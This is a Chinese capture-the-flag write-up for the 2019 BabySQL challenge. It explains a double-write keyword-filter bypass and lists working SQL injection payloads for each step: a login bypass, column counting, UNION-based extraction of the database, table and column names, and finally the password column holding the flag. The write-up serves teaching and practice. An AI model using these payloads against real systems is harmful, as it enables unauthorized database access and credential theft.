[极客大挑战 2019]BabySQL
0x00
打开web界面看到如下
提示我们已经进行了严格过滤,经过大量的模糊测试,我发现被过滤的词都被去掉后再传给数据库。
这时我们可以采用重写方式来绕过,为验证我们的想法,可以使用如下payload(万能密码):
- username:
admin' oorr 1=1 #
- password:
123
得到如下结果
既然知道了利用方式,继续我们的注入,我们利用联合注入,先来查询当前表字段数,使用如下payload:
admin' oorrder bbyy 3#
## 上面为username
## password不变
得到的结果正常
继续使用如下payload:
admin' oorrder bbyy 4#
得到如下结果,说明只有3个字段
使用如下payload,来得到回显位置
1' uunionnion sselectelect 1,2,3#
## 这里将admin改为1,是因为admin存在会出现正确回显,无法判断回显位置,而1不存在回显上面的数字
得到结果如下,可以看到2,3即为回显位置
查询数据库,使用如下payload:
1' uunionnion sselectelect 1,database(),3#
得到结果如下,当前数据库为geek
继续查询表,使用如下payload:
1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),3#
## 出现重写的都是被过滤的
得到结果如下
继续查询字段,使用如下payload:
1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')#
得到结果如下,b4bsql表存在id,username,password三个字段
继续查询password字段的数据,使用如下payload:
1' uunionnion sselectelect 1,(sselectelect group_concat(passwoorrd) ffromrom b4bsql),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')#
## password那样写是因为过滤了or
得到了flag
0x01 总结
该题主要考察的是重写绕过,以及对mysql数据库的基本联合注入